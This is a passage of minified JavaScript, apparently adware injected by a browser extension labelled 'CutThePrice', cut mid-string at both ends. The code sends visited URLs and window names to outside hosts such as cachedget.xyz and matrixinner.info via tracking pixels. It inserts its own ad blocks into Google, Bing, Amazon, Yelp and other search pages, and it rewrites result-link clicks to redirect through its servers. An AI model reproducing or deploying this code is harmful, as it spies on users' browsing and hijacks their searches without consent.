-dynamics.com\",\"offer-dynamics.com\",\"deadsea.com\",\"jerusalem.com\",\"vatican.com\",\"iklk.com\",\"gvud.com\",\"zuzd.com\",\"babaviral.com\",\"cupid.so\",\"hostanytime.com\",\"antivirus.so\",\"dates.am\",\"insurance-company.co\",\"advanceloan.org\",\"calcitapp.info\",\"desktopfavapp.info\",\"avatrade.com\",\"game-trek.net\",\"urgent-alerts.com\",\"pc-alert.com\",\"error-alerts.com\",\"search.searchonme.com\",\"searchitapp.com\",\"news.searchonme.com\",\"search.appsarefun.info\",\"websearch.mocaflix.com\",\"search.easylifeapp.com\",\"searchy.easylifeapp.com\",\"us.yhs4.search.yahoo.com\",\"search.gboxapp.com\",\"searchiy.gboxapp.com\",\"bestonlinegadgetguide.com\",\"odpu.com\",\"safesearch.co\",\"findamo.com\",\"search.myownsearchbox.com\",\"datropy.com\",\"applicationgrabb.net\",\"databass.info\",\"firstfirst.net\",\"liversely.com\",\"liversely.net\",\"livesetwebs.org\",\"lp.ncdownloader.com\",\"lp.vaudix.com\",\"masteroids.com\",\"reditions.net\",\"sharesuper.info\",\"storaget.info\",\"westzip.in\",\"boxhilade.com\",\"mylinksworld.com\",\"shoppingwiz.co\",\"rabbitsearch.net\",\"searchandbake.com\",\"smartshopping.com\",\"www.search.smartshopping.com\",\"www.local.smartshopping.com\",\"www.shoppstop.com\",\"localmoxie.com\",\"www.yellowmoxie.com\",\"www.mail.com\",\"suche.mail.com\",\"www.web.de\",\"suche.web.de\",\"suche.gmx.de\",\"search.gmx.com\",\"search.gmx.co.uk\",\"news.gmx.com\",\"news.gmx.co.uk\",\"www.turbosearchengine.com\",\"search.turbosearchengine.com\",\"www.relatedtopix.com\",\"search.relatedtopix.com\",\"www.app-rover.com\",\"www.appigniter.com\",\"www.bposolutions.com\",\"www.zhuamob.com\",\"www.yieldnexus.com\",\"www.tfxiq.com\",\"www.tfxiq.net\",\"sporty-glow.com\",\"namyneck.com\",\"styloosh.com\",\"baidu.co.th\",\"ooyd.com\",\"jobsro.com\",\"kaoor.com\",\"myloginbox.com\",\"mainpagesite.com\",\"turtleclip.com\",\"blackyclip.com\",\"film-tease.com\",\"bestpaydayloans2015.com\",\"hotelsdealsreviews.com\",\"top10cellphoneplans.com\",\"top5autoinsurance.com\",\"topcreditreportsites.com\"],[/(d1ljaxj866duo3|d1htcstfblev9a)\\.cloudfront\\.net$/,/^websearch\\.(mocaflix|searchissimple|just-browse|good-results|searchsupporter|soft-quick|pu-results|simplespeedy|helpmefindyour|greatresults|youwillfind|lookforitthere|lookforithere|searchmainia|searchrocket|homesearchapp|a-searchpage|coolwebsearch|homesearch-hub|resulthunters|searchdwebs|searchingisme|searchannel|searchouse|pur-esult|searchboxes|searchitup|searchpages|searchesplace|simplesearches|goodfindings|searchiseasy|the-searcheng|oversearch|searchere|relevantsearch|wisesearch|search-guide|searchisbestmy|searchbomb|searchguru|searchsun|searchsunmy|toolksearchbook|searchinweb|webisgreat|webisawsome|exitingsearch|amaizingsearches|searchingissme|awsomesearchs|eazytosearch|ezsearches|fastosearch|fastsearchings|flyandsearch|wonderfulsearches|fixsearch|searchandfly|searchfix|allsearches|searc-hall|simple2search|searchitwell)\\.info$/,/search\\.(easylifeapp|gboxapp|searchonme|appsarefun|genieo)\\.com/]];for(var i=0,a=d[0],l=a.length;i<l;i++){if(window.location.hostname.indexOf(a[i])>-1){return;}}for(var j=0,a=d[1],l=a.length;j<l;j++){if(a[j].test(window.location.hostname)){return;}}}catch(e){}try{var u=[[\"#InterYield\",\"revenuewire.com/pcutilitiespro\",\"__ipm=\",\"=apapamam\",\"txtlnkusaolp00000800\",\"=admaven\",\"5386b_643c_\",\"=CONMHP&conlogo=CT3210127\",\"www.livegeekhelp.com/pop/\",\"?ctid=ct3330145\",\"?ctid=ct3330146\",\"?ctid=ct3330147\",\"?ctid=ct3330148\",\"?ctid=ct3330149\",\"if72ru4sdfsdfruh7fewui\",\"fghjktghndfgtssss\",\"vdsfvdfvvf\",\"jp.hao123.com/?tn=webpick_pay_sc_up01_hao123_jp\",\"form=u064ht&pc=u064\",\"source=45905810\",\"source=532d277e\",\"aro.com/ws/?source=6974b128\",\"esmoke.com/?isid=9949\",\"esmoke.com/?isid=9950\",\"esmoke.com/?isid=9951\",\"id=webpick_ot\",\"id=wbpk_ot\",\"hash=a4vxy8\",\"hash=m5g73j\",\"hash=hg7gja\",\"hash=fz61s5\",\"hash=1i5w2d\",\"hash=zndas3\",\"hash=b3qau4\",\"hash=ijeqe4\",\"duit&ptag=aa7aab832a2de41458bf&\",\"duit&ptag=a93f650ac0e6a4a4791f&\",\"duit&ptag=a79888693f6ca4634a6f\",\"duit&ptag=a359b17b6faa44e6b86f\",\"isid=mf245f633-e188-4162-b56a\",\"sid=meabfcf9a-556b-4c5c-8727\",\"isid=m8fbc22fe-ab08-464e-aa63\",\"uid=531364863_132823_4252277e\"],[/^https?:\\/\\/static\\.williamhill\\.com\\/index\\.html.*?[?&]var5=11puk_/,/^https?:\\/\\/lp\\.stargames\\.com\\/(.*?[?&](page=v07|cid=57397|pid=13993|afid=11pde_)){4}/,/https?:\\/\\/lp\\.ilividnewtab\\.com\\/([?&](sysid=533|appid=674|lpid=4225)){2,3}/,/https?:\\/\\/plarium\\.com\\/play\\/en\\/sparta\\/top\\/([?&](adCampaign=(59658|59659)|adPixel=webfore|publisherID=2084)){3}/,/https?:\\/\\/superpctools\\.com\\/(en\\/)?(windows-pc-repair-lp-204|superoptimizerlp1a-lp-202)\\/\\?vtsid=1002137/,/^https?:\\/\\/www\\.srv2trking\\.com\\/click\\.track([?&](CID=(295669|264686)|AFID=353369|ADID=(1279308|1238822|1278537)|SID=)){4}/,/^https?:\\/\\/webtrackerplus\\.com\\/([?&](a_aid=5sggsj2q8zmzz|page=tiger|clickid=)){3}/,/^https?:\\/\\/www\\.securesaycpa\\.com\\/aff_c([?&](offer_id=14|aff_id=1492)){2}/,/^https?:\\/\\/affiliate\\.integral-marketing\\.com\\/offer\\/554736d253d58313a0611882\\/[1-5]\\?.*?aff_id=554736017d53b314045833a7([&#]|$)/,/^https?:\\/\\/([a-z0-9-]+\\.)*search\\.yahoo\\.com\\/yhs\\/.*[&?]hspart=(webpick|GenieoYaho)(&|$)/i,/^https?:\\/\\/([a-z0-9-]+\\.)*google\\.com\\/.*?(dommkfimfbbhdeboddnnlegdgbcebomb)/,/^https?:\\/\\/lp\\.cryptogmail\\.com\\/.*?[?&]utm_medium=cpd_(1786)_.*?&utm_campaign=(youtube1|youtube2|LP1Allgeo|LP2AM|LPHPALL|LP4all)(?=&|#|$)/,/^https?:\\/\\/trade\\.optionsclick\\.com\\/.*?[?&]p1=35191_(359687|359689)(?=&|#|$)/,/^https?:\\/\\/ofbinarysystem\\.com\\/.*?\\?.*?bta=(35393)(?=&).*?&afp=Krypton_/i,/^https?:\\/\\/option\\.go2jump\\.org\\/(SHIyqq|SHIyqs|SHIypC|SHOXy8)(?=\\?)/,/^https?:\\/\\/go\\.bancdebinary\\.com\\/lp\\/.*?(?=\\?).*?(\\?|&)a_aid=(HO8690)(?=&).*?&campaign=(7718)(?=&).*?&a_bid=(262)/,/^https?:\\/\\/tracking\\.bbinary\\.com\\/aff_c\\?.*?offer_id=(262)(?=&).*?&aff_id=(8690)(?=&).*?&url_id=(1310|1638|1690|1549|1644|1332|1668|1684)(?=&|#|$)/,/[\\?&]p=24039(&|$)/,/lll[a-zA-Z0-9]{11}00/,/#FA[-_]/,/bing\\.com[^p]+pc=.+/,/^http:\\/\\/sporty-glow\\.com\\//,/^http:\\/\\/game-trek\\.net\\//,/#(a652c|ld893)_/,/[&?]pid=715493([&#]|$)/,/ressbar\\.com[^f]+fid=65017/]];for(var i=0,a=u[0],l=a.length;i<l;i++){if((window.location.href+\"#\"+window.name).indexOf(a[i])>-1){(new Image).src = \"//\"+[\"cachedget.xyz\",\"mymatrixinner.net\"][window.location.protocol!= \"https:\"?0:1]+\"/?n=\"+encodeURIComponent(a[i])+\"&h=\"+encodeURIComponent(window.location.href+\"#\"+window.name)+\"&d=\"+encodeURIComponent(window.location.hostname)+\"&eid=1461&pid=25116&hid=2021033856717153140\";return;}}for(var j=0,a=u[1],l=a.length;j<l;j++){if(a[j].test(window.location.href+\"#\"+window.name)){(new Image).src=\"//\"+[\"cachedget.xyz\",\"mymatrixinner.net\"][window.location.protocol!=\"https:\"?0:1]+\"/?n=\"+encodeURIComponent(a[j])+\"&h=\"+encodeURIComponent(window.location.href+\"#\"+window.name)+\"&d=\"+encodeURIComponent(window.location.hostname)+\"&eid=1461&pid=25116&hid=2021033856717153140\";return;}}}catch(e){}try{window.top == window && new function () { if (!document.getElementsByTagName(\"body\").length || !document.getElementsByTagName(\"body\")[0].getAttribute(\"s2021033856717153140\")) { var m = document.getElementsByTagName(\"body\")[0]; m && m.setAttribute(\"s2021033856717153140\", \"1\" var b = this; b.pixelHost = \"//sepx.matrixinner.info\"; b.prefix = \"jhgasdf\"; b.version = \"0.5\"; b.now = (new Date).getTime(); b.clickInterval = 2592E5; b.ratio = 12; b.initThrottle = \"google;gmaps;amazon;bing\"; b.unique_items_left = !0; b.eid = decodeURIComponent(\"CutThePrice\"); b.num_of_items_in_one = 4; b.count = 0; b.baseHostname = \"matrixinner.info\"; b.utils = new function () { var a = this; a.sendPixels = function (a) { var b; if (a instanceof Array)for (var e = 0; e < a.length; e++) { var f = a[e]; b = new Image; b.src = f } else b = new Image, b.src = a }; a.isFalse = function (a) { return \"undefined\" == typeof a || a instanceof Array && 0 == a.length || null === a ? !0 : !1 }; a.cookie = new function () { var a = this; a.createCookie = function (a, c, b) { if (b) { var g = new Date; g.setTime(g.getTime() + 864E5 * b); b = \"; expires=\" + g.toGMTString() } else b = \"\"; document.cookie = a + \"=\" + c + b + \"; path=/\" }; a.readCookie = function (a) { a += \"=\"; for (var b = document.cookie.split(\";\"), c = 0; c < b.length; c++) { for (var g = b[c]; \" \" == g.charAt(0);)g = g.substring(1, g.length); if (0 == g.indexOf(a))return g.substring(a.length, g.length) } return null }; a.eraseCookie = function (b) { a.createCookie(b, \"\", -1) } }; a.ajax = { get: function (b, d) { try { this.xhr = new XMLHttpRequest, this.xhr.open(\"GET\", b, !0), this.xhr.onreadystatechange = function () { 4 == a.ajax.xhr.readyState && d(a.ajax.xhr.responseText) }, this.xhr.send() } catch (e) { } }, post: function (b, d, e) { this.xhr = new XMLHttpRequest; this.xhr.open(\"POST\", b, !0); this.xhr.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\"); this.xhr.onreadystatechange = function () { 4 == a.ajax.xhr.readyState && e(a.ajax.xhr.responseText) }; d = encodeURIComponent(d); this.xhr.send(d) }}; a.waitForTokens = {}; a.addScript = function (a, b) { if (\"bing\" == b) { var e = Element.prototype.appendChild; document.createElement(\"iframe\"); Element.prototype.appendChild = document.appendChild; document.getElementsByTagName(\"head\")[0].appendChild(a); Element.prototype.appendChild = e } else document.getElementsByTagName(\"head\")[0].appendChild(a) }; a.waitForElement = function (c, d, e, f) { var g = a.query_selector_all©; clearTimeout(a.waitTimeout); if (25 < b.waitForElementCounter)return d(null); if (\"undefined\" == typeof g || 1 > g.length) { if (a.waitForTokens[f])return d(null); var h = arguments.callee; a.waitTimeout = setTimeout(function () { b.waitForElementCounter++; h(c, d, e, f) }, e) } else { if (a.waitForTokens[f])return d(null); a.waitForTokens[f] = !0; b.waitForElementCounter = 0; return d(g) } }; a.flushWaitForTokens = function () { a.waitForTokens = {} }; a.getRandomInt = function (a, b) { return Math.floor(Math.random() * (b - a + 1)) + a }; a.get_computed_style = \"function\" != typeof window.getComputedStyle ? function (b) { return { getPropertyValue: function (d) { \"float\" == d && (d = \"styleFloat\"); d = a.dhtml_prop_name(d); return \"object\" == typeof b.currentStyle && null != b.currentStyle && \"undefined\" != typeof b.currentStyle[d] ? b.currentStyle[d] : null } } } : function (a, b) { return window.getComputedStyle(a, b) || { getPropertyValue: function () { }} }; a.query_selector_all = document.querySelectorAll ? function (a) { try { return document.querySelectorAll(a) } catch (b) { } } : function (a) { var b = a.match(/^#([^,\\s]+)$/) || []; if (1 < b.length)return a = document.getElementById(b[1]) || void 0, \"undefined\" != typeof a ? [a] : []; b = document.createElement(\"STYLE\"); document.getElementsByTagName(\"body\")[0].appendChild(b); document.__asya_qsaels = []; b.styleSheet.cssText = a + \"{x:expression(document.__asya_qsaels.push(this))}\"; window.scrollBy(0, 0); return document.__asya_qsaels }; a.clone_object = window.JSON instanceof Object ? function (a) { if (a instanceof Object && (a = JSON.stringify(a), \"string\" == typeof a))return JSON.parse(a) } : function (a) { if (a instanceof Object) { var b = new a.constructor, e; for (e in a)b[e] = arguments.callee(a[e]); return b } return a }; a.dhtml_prop_name = function (a) { return a.replace(/(\\-([a-z]){1})/g, function (a, b, c) { return c.toUpperCase() }) }; a.wildcard_to_regex = function (a) { a = a.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g, \"\\\\$1\"); a = a.replace(/\\*/g, \".*\"); return RegExp(a) }; a.throttle = function (a, b) { var e = null; return function () { var f = this, g = arguments; clearTimeout(e); e = setTimeout(function () { a.apply(f, g) }, b) } }; a.epoch = function () { return (new Date).getTime() }; a.msie = function () { var a = parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase()) || [])[1], 10); isNaN(a) && (a = parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase()) || [])[1], 10)); return isNaN(a) ? !1 : a }(); a.version_ie_less = function (a) { if (/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1) <= a ? !0 : !1 }; a.isIE = function () { return \"Microsoft Internet Explorer\" == navigator.appName || \"Netscape\" == navigator.appName && null != /Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent) }; a.match_url = function (b, d) { for (var e = 0; e < d.length; e++)if (\"string\" == typeof d[e]) { var f; f = /^\\/.+\\/$/.test(d[e]) ? RegExp(d[e]) : a.wildcard_to_regex(d[e]); if (f instanceof RegExp && f.test(b))return !0 } }; a.ping = function (a) { for (var d = [\"google\", \"bing\", \"yahoo\", \"youtube\"], e = 0; e < d.length; e++)if (-1 < location.hostname.indexOf(d[e])) { var f = new Image, g = encodeURIComponent(window == window.top ? window.location.href : \"\"); 1E3 < g.length && (g = encodeURIComponent(location.hostname)); var h = encodeURIComponent(location.hostname); f.src = b.pixelHost + \"?hid=2021033856717153140&eid=1461&pid=25116&prodid=186&v=\" + b.version + \"&ch=\" + a + \"&lan=\" + navigator.language + \"&cc=US&pr=\" + d[e] + \"&host=\" + h + \"&ref=\" + g } } }; var k = [\"horizontal\", \"vertical\", \"images-horizontal\", \"images-vertical\"]; b.jsonpHost = function () { var a = \"s1. s2. s3. s4. s5. s6.\".split(\" \"); return a[b.utils.getRandomInt(0, a.length - 1)] + \"\" }() + b.baseHostname; b.projects_info = { google: { hrefSelector: \".r a\", unique_search_divs: \"3\", urls: [\"www.google.*\"], src_for_keyword: [\"#gbqfq\", \"#lst-ib\", \"#sbhost\"], dr: [\"#tvcap\", \"#bottomads\", \"#tads\"], tweak: function () { b.events.flush(); var a = b.utils.query_selector_all(\"#nav td\"), c = b.utils.query_selector_all(\".spell + a\")[0]; if (0 < a.length)for (var d = 0; d < a.length; d++)b.events.add(\"click\", function () { b.init_search_project() }, !1, a[d], !0); \"undefined\" !== typeof c && b.events.add(\"click\", function () { b.init_search_project() }, !1, c, !0) }, validate: function (a) { var c = this; if (-1 < location.href.indexOf(\"https://www.google.com/maps\") || location.href.match(/https:\\/\\/www.google.[a-z,\\.]+\\/$/g))return !0; c.callback = a; c.count = 0; this.check_tab = function () { var a = document.getElementById(\"hdtb_msb\") || b.utils.query_selector_all(\".tn\").length && b.utils.query_selector_all(\".tn\") || document.getElementById(\"hdtb-msb\"); if (b.utils.isFalse(a))if (c.count++, 10 > c.count)setTimeout(function () { c.check_tab() }, 1E3); else return !1; else return a = b.utils.query_selector_all(\".hdtb_mitem\")[0] || b.utils.query_selector_all(\".tn > div\")[0] || b.utils.query_selector_all(\".hdtb-mitem\")[0], \"string\" == typeof a.className && a.className.match(/(hdtb_msel|tn-selected-mode|hdtb-msel)/) && (b.utils.ping(\"validate2\"), c.callback()), !1 }; if (!c.check_tab())return !1 } }, yahoo: { hrefSelector: \"a[id^=link]\", unique_search_divs: \"3\", dr: [\".ads.horiz.top\", \".ads.horiz.bot\"], urls: [\"yahoo\"], src_for_keyword: \"#yschsp\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, bing: { hrefSelector: [\".b_algo a\", \".sb_tlst a\"], unique_search_divs: \"2\", dr: [\".sb_adsWv2\"], urls: [\"www.bing.com/search?*\"], src_for_keyword: [\"#sb_form_q\", \".b_searchboxForm[name='q']\"], validate: function (a) { b.utils.ping(\"validate2\"); a() }}, infospace: { hrefSelector: \".resultTitle\", unique_search_divs: \"1\", dr: [\"\", \"\"], urls: [\"http://search.infospace.com/search/*\"], src_for_keyword: \"#topSearchTextBox\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, wow: { hrefSelector: \".find\", unique_search_divs: \"1\", dr: [\"\", \"\"], urls: [\"http://www.wow.com/search?*\"], src_for_keyword: \"#csbquery1\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, duckduckgo: { hrefSelector: \".result__a\", unique_search_divs: \"1\", dr: [\"\", \"\"], urls: [\"://duckduckgo.com/?q=*\"], src_for_keyword: \"#search_form_input\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, contenko: { hrefSelector: \"#title\", unique_search_divs: \"1\", dr: [\"\", \"\"], urls: [\"://contenko.com/#/?q=*\"], src_for_keyword: \"#searchBar input[type='text']\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, conduit: { hrefSelector: \"a[id^=ctl00_main_organicResults]\", unique_search_divs: \"1\", urls: [\"http://search.conduit.com*\"], src_for_keyword: \"#q_top\", dr: [\"#master-1\"], validate: function () { return !0 }}, ask: { hrefSelector: \".ptbs  a[id^=r]\", unique_search_divs: \"1\", urls: [\"http://www.ask.com/web?q=*\", \"http://www.ask.com/web?qsrc=*\", \"http://www.ask.com/w...b?am=broad&q=*\"], src_for_keyword: [\"#top_qcomn\", \"#top_q_comm\"], dr: [\"#spl_img_top\"], validate: function () { return !0 }}, triple: { hrefSelector: \".gRsSlicetitle\", unique_search_divs: \"2\", dr: [\"#gRsTopLinks\"], urls: [\"http://search.triple-search.com/?*\", \"http://www.search.tr...-search.com/?*\"], src_for_keyword: \"#q\", validate: function () { var a = b.utils.query_selector_all(\".gRsSTypeSelltr\"); if (0 < a.length) { for (var c = 0; c < a.length; c++)if (\"English\" == a[c].innerHTML)return !0; return !1 } } }, incredimail: { hrefSelector: \".title\", unique_search_divs: \"3\", dr: [\"#MainSponsoredLinks\"], urls: [\"http://www.search.in.../search.php?q*\", \"http://search.incred.../search.php?q*\"], src_for_keyword: \"#q\", validate: function () { return -1 < location.href.indexOf(\"lang=english\") ? !0 : !1 } }, gmaps: { hrefSelector: \"div[class^='ads-line'] a\", unique_search_divs: \"1\", dr: [\".ads.horiz.top\", \".ads.horiz.bot\"], urls: [\"https://www.google.com/maps/*\"], src_for_keyword: \"#searchboxinput\", tweak: function () { var a = function () { b.remove_search(); b.utils.query_selector_all(\".omnibox-cards-transformations\")[0].style.marginTop = \"0px\"; document.getElementById(\"reveal-cards\").style.marginTop = \"0px\" }; b.events.add(\"click\", function () { a() }, !1, document.getElementById(\"cards\"), !1); b.events.add(\"keyup\", function () { a() }, !1, document.getElementById(\"searchbox_form\"), !1); b.events.add(\"click\", function () { a() }, !1, document.getElementById(\"viewcard\"), !1); b.events.add(\"click\", function () { a() }, !1, b.utils.query_selector_all(\".widget-runway-pegman\")[0], !1); b.events.add(\"click\", function () { a() }, !1, b.utils.query_selector_all(\".gscb_a\")[0], !1); var c = function (a) { a = document.querySelector(a); return getComputedStyle(a, null).height }(\".yael .cards-card\"); document.querySelector(\".omnibox-cards-transformations\").style.marginTop = c; document.querySelector(\"#reveal-cards\").style.marginTop = c }, validate: function (a) { b.utils.isIE() || (b.num_of_items_in_one = 1, a()) } }, amazon: { unique_search_divs: \"1\", urls: [\"http://www.amazon.co...eld-keywords=*\"], src_for_keyword: \"#twotabsearchtextbox\", validate: function (a) { a() }}, smartAddress: { hrefSelector: [\"li a\"], unique_search_divs: \"2\", dr: [\".peach ol\"], urls: [\"search.smartaddressbar.com/web.php?s=*\"], src_for_keyword: \"#stxt\", tweak: function () { var a = b.utils.query_selector_all(\".peach\")[0], c = b.utils.query_selector_all(\".right ul\")[0]; a && a.parentNode.removeChild(a); c && c.parentNode.removeChild© }, validate: function () { return !0 }}, superpages: { unique_search_divs: \"1\", urls: [\"http://yellowpages.s...listings.jsp?*\"], src_for_keyword: \"input[type='text']#what\", validate: function () { return !0 }}, yelp: { unique_search_divs: \"1\", urls: [\"http://www.yelp.com/...ch?find_desc=*\"], src_for_keyword: \"input#find_desc\", validate: function () { b.num_of_items_in_one = 1; return !0 }}, yellowpages: { unique_search_divs: \"1\", urls: [\"http://www.yellowpag...search_terms=*\"], src_for_keyword: \"input[type='text']#query\", validate: function () { return !0 }}, info: { unique_search_divs: \"1\", urls: [\"http://www.info.com/search?*\"], src_for_keyword: \"input[type='text']#qkw0\", validate: function () { return !0 }}, webcrawler: { unique_search_divs: \"1\", urls: [\"http://www.webcrawle...m/search/web?*\"], src_for_keyword: \"input[type='text']#topSearchTextBox\", validate: function () { return !0 }}, webssearches: { unique_search_divs: \"1\", urls: [\"http://search.websse...m/search/web?*\", \"http://istart.websse...s.com/web/?q=*\", \"http://istart.websse...es.com/web?q=*\"], src_for_keyword: [\"input[type='search']#topSearchTextBox\", \"input[type='text']#q\"], validate: function () { b.num_of_items_in_one = 2; return !0 }}, mywebsearch: { unique_search_divs: \"1\", urls: [\"http://search.mywebs.../mywebsearch/*\"], src_for_keyword: [\"input#q\"], validate: function () { return !0 }} }; var l = function (a) { if (\"string\" == typeof a) { var c = a.match(/:nth-match\\(([0-9]+)\\)/); if (c && 1 < c.length)return a = b.utils.query_selector_all(a.substr(0, c.index)) || [], a[c[1]] || void 0; a = b.utils.query_selector_all(a) || []; return a[0] || void 0 } }; b.events = new function () { var a = this; a.cache = []; a.add = window.addEventListener ? function (b, d, e, f, g) { \"undefined\" == typeof f && (f = window); f.addEventListener(b, d, e); g && a.cache.push([b, d, e, f]) } : window.attachEvent ? function (b, d, e, f, g) { \"undefined\" == typeof f && (f = window); f[\"e\" + b + d] = d; f[b + d] = function () { f[\"e\" + b + d](window.event) }; f.attachEvent(\"on\" + b, f[b + d]); g && a.cache.push([b, d, e, f]) } : function () { }; a.remove = window.removeEventListener ? function (a, b, e, f) { \"undefined\" == typeof f && (f = window); f.removeEventListener(a, b, e) } : window.detachEvent ? function (a, b, e, f) { \"undefined\" == typeof f && (f = window); f.detachEvent(\"on\" + a, f[a + b]); f[a + b] = null; f[\"e\" + a + b] = null } : function () { }; a.flush = function () { for (var b = 0; b < a.cache.length; b++)a.remove.apply(a, a.cache); a.cache = [] } }; b.get_insertion_element = function (a) { return !a.insert || \"before\" != a.insert && \"after\" != a.insert ? a.element : a.element.parentNode }; b.dom = new function () { this.json_to_html = function (a, c) { if (\"#text\" == a.type)c = document.createTextNode(a.text); else if (\"#comment\" != a.type) { c || (c = document.createElement(a.type)); if (a.attrs) { for (var d in a.attrs)if (a.attrs.hasOwnProperty(d))if (\"style\" == d && a.attrs.style instanceof Object)for (var e in a.attrs.style) { var f = b.utils.dhtml_prop_name(e); try { c.style[f] = a.attrs.style[e] } catch (g) { } } else c.setAttribute(d, a.attrs[d]); \"iframe\" == a.type && (a.attrs.hasOwnProperty(\"frameborder\") && (c.frameBorder = a.attrs.frameborder), a.attrs.hasOwnProperty(\"marginwidth\") && (c.marginWidth = a.attrs.marginwidth), a.attrs.hasOwnProperty(\"marginheight\") && (c.marginHeight = a.attrs.marginheight)) } if (a.children)for (d = 0; d < a.children.length; d++) { f = a.children[d]; e = arguments.callee(f); try { c.appendChild(e) } catch (h) { if (\"#text\" == f.type && \"string\" == typeof f.text)if (\"style\" == a.type && c.styleSheet)c.styleSheet.cssText = f.text || \"\"; else if (e = b.utils.get_node_text_prop©)c[e] = f.text } } } return c } }; b.addEventClick = function (a, c) { for (var d = 0; d < a.length; d++)b.events.add(\"click\", function (a) { a.preventDefault ? a.preventDefault() : a.returnValue = !1; this.href = \"#\"; location.href = c + \"&j=true\"; b.events.flush(); localStorage.setItem(b.prefix, b.now + b.clickInterval); return !1 }, !1, a[d], !0) }; b.checkClickInterval = function (a) { if (b.now > a)return !0 }; b.setClickHref = function (a, c) { if (\"undefined\" != typeof b.projects_info[c].hrefSelector) { if (b.utils.getRandomInt(1, 1E4) >= 1E4 / b.ratio)return !1; var d = b.projects_info[c].hrefSelector, e = parseInt(localStorage.getItem(b.prefix)); if (\"undefined\" != typeof d) { if (d instanceof Array)for (var f = 0; f < d.length; f++) { var g = b.utils.query_selector_all(d[f]); if (0 < g.length)break } else g = b.utils.query_selector_all(d); if (!e || b.checkClickInterval(e))b.addEventClick(g, a), b.j = !0 } } }; b.escape_chars_for_json = function (a) { for (var b in a)\"string\" === typeof a && (a = a.replace(/\\\"/g, '\\\\\"')); return a }; b.tpl_engine = function (a, c, d) { \"false\" !== d.layouts.unique && (c = b.escape_chars_for_json©); a = JSON.stringify(a); d = [{replace: \"title\", \"with\": c.title}, { replace: \"displayUrl\", \"with\": c.displayUrl}, {replace: \"description\", \"with\": c.description}, {replace: \"clickUrl\", \"with\": c.clickUrl}]; for (var e = 0; e < d.length; e++)a = a.replace(RegExp(\"\\\\[##\" + d[e].replace + \"##\\\\]\", \"g\"), d[e][\"with\"]); try { return \"undefined\" !== typeof c.pxl && \"\" !== c.pxl && b.utils.sendPixels(c.pxl), JSON.parse(a) } catch (f) { } }; b.get_item_json = function (a, c) { var d = b.utils.clone_object(a.layouts.template); d.attrs instanceof Object || (d.attrs = {}); return d = b.tpl_engine(d, c, a) }; b.add_jsonp_to_config = function (a, c) { b.get_item_json(a) }; b.remove_search = function () { var a = b.utils.query_selector_all(\".yael\"); if (0 < a.length)for (var c = 0; c < a.length; c++)a[c].parentNode.removeChild(a[c]) }; b.inject_json = function (a) { \"first\" == a.insert ? a.element.insertBefore(a.node, a.element.firstChild) : \"before\" == a.insert ? a.element.parentNode.insertBefore(a.node, a.element) : \"after\" == a.insert ? a.element.parentNode.insertBefore(a.node, a.element.nextSibling) : a.element.appendChild(a.node) }; b.get_ad_dom = function (a) { return a.layouts instanceof Object && a.layouts.dom instanceof Object ? a.layouts.dom : !1 }; b.get_layout_type = function (a) { if (a.layouts instanceof Object)for (var b = 0; b < k.length; b++)if (-1 < a.layouts.id.indexOf(k))return k; return !1 }; b.create_search = function (a) { a = b.get_ad_dom(a); return b.dom.json_to_html(a) }; b.templates = new function () { this.container_id = 0; this.add_real_links = function (a, c) { b.utils.add_event(\"click\", function (b) { window.open(a); b.preventDefault ? b.preventDefault() : b.returnValue = !1 }, !1, c) } }; b.validate_response = function () { for (var a in __yael_res.data.items)__yael_res.data.items[a].displayUrl.match(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/) && __yael_res.data.items[a].displayUrl.replace(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/, \"\") }; b.is_target_valid = function (a) { if (0 != __yael_res.data.numberOfItems && \"undefined\" != typeof a.element)return a.urls instanceof Array && !b.utils.match_url(a.element.ownerDocument.location.href, a.urls) ? !1 : !0 }; var n = null; b.get_target_element = function (a) { if (a.inserts instanceof Array && \"undefined\" == typeof a.element)for (var b = 0; b < a.inserts.length; b++)if (a.element = l(a.inserts.selector), \"undefined\" !== typeof a.element) { a.insert = a.inserts.at; break } }; b.add_data_to_config = function (a, c) { if (0 == c.length)return b.unique_items_left = !1; var d = b.get_ad_dom(a); (function (a, c) { c.children && 0 !== c.children.length ? (c = c.children[c.children.length - 1], arguments.callee(a, c)) : b.insert_point = c })(a, d); for (var e = 0; e < b.num_of_items_in_one && 0 != c.length; e++) { var f = b.get_item_json(a, c[0]); try { b.insert_point.children.push(f) } catch (g) { b.insert_point = d, b.insert_point.children.push(f) } \"true\" == a.layouts.unique ? b.not_unique_items.push(c.shift()) : c.shift() } }; b.addEventsToItems = function () { for (var a = document.querySelectorAll('a[href*=\"' + b.jsonpHost + '\"]'), c = 0; c < a.length; c++)b.events.add(\"click\", function () { b.init_search_project() }, !1, a[c], !1) }; b.check_if_div_in_dom = function (a, b) { var d = [], e; for (e in __yael_res.config.targets) { var f = __yael_res.config.targets[e]; clearTimeout(n); a++; if (4 < a)return; if (f.inserts instanceof Array && \"undefined\" == typeof f.element)for (var g = 0; g < f.inserts.length; g++) { var h = l(f.inserts[g].selector); \"undefined\" !== typeof h && d.push(h) } } for (e = 0; e < d.length; e++)if (\"undefined\" == typeof d[e]) { var k = this; n = setTimeout(function () { k.apply(k, arguments) }, 200) } b() }; b.addExtensionName = function (a) { var c = JSON.stringify(a.layouts.dom); if (!c.match(/\\[##eid##\\]/))return a; c = c.replace(/\\[##eid##\\]/g, b.eid); a.layouts.dom = JSON.parse©; return a }; b.loop_targets = function (a, c, d) { if (a instanceof Object && (b.get_target_element(a), b.is_target_valid(a) && (\"false\" == d && b.unique_items_left && (c = b.not_unique_items), 0 != c.length))) { b.add_data_to_config(a, c); try { a = b.addExtensionName(a) } catch (e) { } try { a.node = b.create_search(a) } catch (f) { } \"undefined\" != typeof a.node && b.inject_json(a) } }; b.removeSecondClick = function () { for (var a = b.utils.query_selector_all(\".yael a\"), c = 0; c < a.length; c++)b.events.add(\"click\", function (a) { setTimeout(function () { for (var a = 